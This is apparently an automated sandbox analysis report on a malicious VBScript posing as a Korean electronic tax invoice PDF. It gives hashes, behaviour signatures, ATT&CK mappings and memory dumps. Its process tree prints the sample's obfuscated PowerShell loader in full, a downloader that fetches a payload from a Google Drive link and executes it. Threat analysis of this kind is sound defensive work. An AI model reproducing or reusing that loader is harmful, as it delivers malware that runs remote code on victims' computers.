26e43271d698c8a1fcc996749109f77b779dd533dc0813513278947db90477b9

General

Target

전자세금계산서·pdf.vbs
Size

86KB
MD5

8b88faca30c1d912d945515b0edce924
SHA1

62d5bee19f043112784832da29a423e1a35cdbae
SHA256

2a3615e8c977f2a9411c9fef294c7dd53986ce084579340b55977544fc94f143
SHA512

be3f1dcdb304cf2e72c9f305cc24c3cb99c6a7579b5d5c69c77f14cdfb12dad82cc3b1ba875d0e94c86cafc740a10a4bfc7eb809c58b9c01ece4dc1fc1e549f9
SSDEEP

1536:R70tt9i0kFFGd9p6puoNyVnJrsI/FBqqOkbSApBknXZ8Y4apgi1VdXaAj2LvbAP:RQL9ihHU9Yu4kn1OEDp6nXZ8YjpTVdus

Score

8^/10

discovery

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2568	WScript.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2012	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2012	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2012	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2568 wrote to memory of 2012	2568	WScript.exe	30
PID 2568 wrote to memory of 2012	2568	WScript.exe	30
PID 2568 wrote to memory of 2012	2568	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\전자세금계산서·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Undiscriminatingness Vodun Hervards Folkefrontsregeringen Carmakers #><#Polyhedrons Versionsnavnenes Baalets Quadrennially Catarines Recondite #>$Disleaf100='Mrtel';function Moderates7($Trdestens){If ($host.DebuggerEnabled) {$Flood++;$effectualnesses=$Trdestens.'Length' - $Flood} for ( $Foelelsen=4;$Foelelsen -lt $effectualnesses;$Foelelsen+=5){$Brillanters151=$Foelelsen;$Sippingly+=$Trdestens[$Foelelsen]}$Sippingly}function forsrgelseskommunernes($Primrfilers){ .($Modkandidaten) ($Primrfilers)}$Lossen=Moderates7 'Forgn KnoeGe,vtBist.Jeh w Vs.EEndybUnsecAlkol,eroIAspieSandn Re.Tco n ';$Splanchnopleure=Moderates7 'Kl.tM iaoK.gezTugti ClelFormlPrewaBac /Redi ';$flintres=Moderates7 ' sogTOrgalSupesColp1Unus2 ryn ';$Kliniskes='Mail[Rac,NGluce SquTOmsi.StresParneBasiR L mv kerIHe,sC Ko etwelPUnesOCe tiR giNPolyT amuMa,baASashng teAGenfG AirEAngrr ent]B ug: Ryk:,eenSDogseMar,cBet.U olsROm yI rigTPyrrYFl.nPclavr Couo FortMedio beecCharoSp oL ,ev=stud$OpspfBioglTummi ormN Sn.TParlrUlykeOf dSMoze ';$Splanchnopleure+=Moderates7 ' aje5Cas .fors0Skar T sk( imiW,okuiOrddnDo.adsteroAy twF,apsNu z V,nNchroTErob rot 1Cens0Type.Prod0Hove;Te r SensW nci Keln B.a6 Rec4Fakt;Dile MichxUdfo6Gyld4Klor;Exhu UnmrRentvtext: es1 Ill3Eret1aper.None0Reve) Ant Cu.GProgeP rocpalikRn,eo Hai/ .ap2,ede0 Ful1E,in0 Bu 0cata1Ud,l0,ovn1Li.p RevoFP.ntiSalgrTurbeSl gfakt o A txf ls/ Pec1N vl3De.e1Len .Nic 0Dipl ';$Umodenhedens246=Moderates7 'Ss.euLuneSMultEA roRComi-DkssAPadagSymmEPl tNSolltSted ';$Tallit=Moderates7 'R.buhPondtGud tThurpImpusAfse:Chid/anas/kr,pdDobbrTruci Cr,v Plue eng.Uds,gTayioTradoel kgImmalS.gne ush.Leibc SkroBorrmAn i/SquauBru,c.ors?PerreI loxNonspPreso Omsr ventQuod=PluvdSulpo BlewDiscnarenlNeuro Disa MoldImpr&Ph,sibungd kor=Karr1Siph1kejs6EsopG tepeBortVKlipSBeelxO tjaforu7StarC tifmMelo0 .esvFlorf M,lwMu.r2 Up zOve t EnapT,fnBEquimsaggqTa aL Bie8DialUVariy Me,A,orsNPancdC muA ap_Topao eal ';$Udfrselsforbuddets=Moderates7 'Quar>,yan ';$Modkandidaten=Moderates7 ' MidiGua EFes xDo e ';$Par='Problemfrit';$Skridfastes='\Banebryderes.Non';forsrgelseskommunernes (Moderates7 '.den$F kagLogalPagiOTem bF,miA arLP,is: Faxe C,nsRej rBeg o CurgS,egsEndo= ymn$Mas eKnleNCracV Cli:Le.saSkaaP Medp irsdN.npA Inft ho aBism+T mm$TranSWaivKMlkeREkspIRecrdUdprFOverARi oSUdbyT soEGropsFil ');forsrgelseskommunernes (Moderates7 'Andr$SeveGSkurlMks.O nsBFordAA baLCe.s:TidsCs enrPersoSammTKli aPirqp rimhEnthI Gauo RednBrnd=Efte$FisstTrinAVeinLE taLProtiHereT Per.DobbSS,eaP atal C,eIHypoTFras(Til.$U inuUnmuD ameF uborUvejSUroceHalel MooSDsleFPar,OH.ikRtopfbBogpu heDRaadD FriELapaT orss Dat)S,ot ');forsrgelseskommunernes (Moderates7 $Kliniskes);$Tallit=$Crotaphion[0];$Mytologiers=(Moderates7 'Preg$FodngIndklBlodoOpd,B alaDesslWarm:di essvmmITeleLKarrjRe mAHankSPort=CellNSkrieFadeW K,i-,lado D bB ArbJAsice CatCd,rmTHngt .ncrSVareyReacs E stUskaenutiMM lo. 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  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CabAFB2.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
memory/2012-20-0x000007FEF625E000-0x000007FEF625F000-memory.dmp

Filesize
4KB

Download
memory/2012-22-0x0000000002890000-0x0000000002898000-memory.dmp

Filesize
32KB

Download
memory/2012-21-0x000000001B510000-0x000000001B7F2000-memory.dmp

Filesize
2.9MB

Download
memory/2012-23-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

Filesize
9.6MB

Download
memory/2012-24-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

Filesize
9.6MB

Download
memory/2012-25-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

Filesize
9.6MB

Download
memory/2012-26-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

Filesize
9.6MB

Download
memory/2012-27-0x000007FEF625E000-0x000007FEF625F000-memory.dmp

Filesize
4KB

Download
memory/2012-28-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

Filesize
9.6MB

Download
memory/2012-29-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

Filesize
9.6MB

Download
memory/2012-30-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

Filesize
9.6MB

Download
memory/2012-31-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

Filesize
9.6MB

Download
memory/2012-32-0x000007FEF5FA0000-0x000007FEF693D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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